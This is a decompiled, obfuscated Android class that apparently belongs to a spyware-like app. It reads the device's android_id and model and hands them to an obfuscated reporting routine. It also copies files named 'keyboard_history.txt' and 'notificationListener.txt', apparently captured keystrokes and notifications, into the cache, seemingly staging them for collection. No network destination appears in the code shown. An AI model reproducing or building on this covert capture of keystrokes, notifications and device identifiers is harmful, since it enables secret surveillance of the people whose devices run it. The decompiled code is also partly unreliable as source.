package o;

import android.content.Context;
import android.os.Build;
import android.provider.Settings;
import java.io.File;
import java.io.IOException;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* renamed from: o.ae, reason: case insensitive filesystem */
/* loaded from: classes.dex */
public final class C0730ae extends Sb0 implements SC {
    public final /* synthetic */ int p;
    public final /* synthetic */ Context q;

    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
    public /* synthetic */ C0730ae(Context context, InterfaceC0220Im interfaceC0220Im, int i) {
        super(2, interfaceC0220Im);
        this.p = i;
        this.q = context;
    }

    @Override // o.SC
    public final Object f(Object obj, Object obj2) throws JSONException, IOException {
        InterfaceC0065Cn interfaceC0065Cn = (InterfaceC0065Cn) obj;
        InterfaceC0220Im interfaceC0220Im = (InterfaceC0220Im) obj2;
        switch (this.p) {
            case 0:
                C0730ae c0730ae = (C0730ae) l(interfaceC0065Cn, interfaceC0220Im);
                Oh0 oh0 = Oh0.a;
                c0730ae.n(oh0);
                return oh0;
            case 1:
                C0730ae c0730ae2 = (C0730ae) l(interfaceC0065Cn, interfaceC0220Im);
                Oh0 oh02 = Oh0.a;
                c0730ae2.n(oh02);
                return oh02;
            case 2:
                return ((C0730ae) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 3:
                return ((C0730ae) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
            case 4:
                C0730ae c0730ae3 = (C0730ae) l(interfaceC0065Cn, interfaceC0220Im);
                Oh0 oh03 = Oh0.a;
                c0730ae3.n(oh03);
                return oh03;
            default:
                C0730ae c0730ae4 = (C0730ae) l(interfaceC0065Cn, interfaceC0220Im);
                Oh0 oh04 = Oh0.a;
                c0730ae4.n(oh04);
                return oh04;
        }
    }

    @Override // o.AbstractC0728ad
    public final InterfaceC0220Im l(Object obj, InterfaceC0220Im interfaceC0220Im) {
        switch (this.p) {
            case 0:
                return new C0730ae(this.q, interfaceC0220Im, 0);
            case 1:
                return new C0730ae(this.q, interfaceC0220Im, 1);
            case 2:
                return new C0730ae(this.q, interfaceC0220Im, 2);
            case 3:
                return new C0730ae(this.q, interfaceC0220Im, 3);
            case 4:
                return new C0730ae(this.q, interfaceC0220Im, 4);
            default:
                return new C0730ae(this.q, interfaceC0220Im, 5);
        }
    }

    @Override // o.AbstractC0728ad
    public final Object n(Object obj) throws JSONException, IOException {
        int i = this.p;
        Oh0 oh0 = Oh0.a;
        Context context = this.q;
        switch (i) {
            case 0:
                IJ.H(obj);
                String string = Settings.Secure.getString(context.getContentResolver(), "android_id");
                String str = Build.MANUFACTURER + " " + Build.MODEL;
                JSONObject jSONObject = Q8.a;
                Q8.a(context, string, str);
                break;
            case 1:
                IJ.H(obj);
                AbstractC2793wD.p(context);
                break;
            case 2:
                IJ.H(obj);
                File file = new File(context.getFilesDir(), "keyboard_history.txt");
                File file2 = new File(context.getCacheDir(), "keyboard_history.txt");
                if (!file.exists()) {
                    AbstractC2008ny.L(file2, "FILE_NOT_FOUND: keyboard_history.txt", AbstractC2355rh.a);
                    break;
                } else {
                    AbstractC2008ny.H(file, file2);
                    break;
                }
            case 3:
                IJ.H(obj);
                File file3 = new File(context.getFilesDir(), "notificationListener.txt");
                File file4 = new File(context.getCacheDir(), "notificationListener.txt");
                if (!file3.exists()) {
                    AbstractC2008ny.L(file4, "FILE_NOT_FOUND: notificationListener.txt", AbstractC2355rh.a);
                    break;
                } else {
                    AbstractC2008ny.H(file3, file4);
                    break;
                }
            case 4:
                IJ.H(obj);
                AbstractC2793wD.p(context);
                break;
            default:
                IJ.H(obj);
                AbstractC2793wD.p(context);
                break;
        }
        return oh0;
    }
}
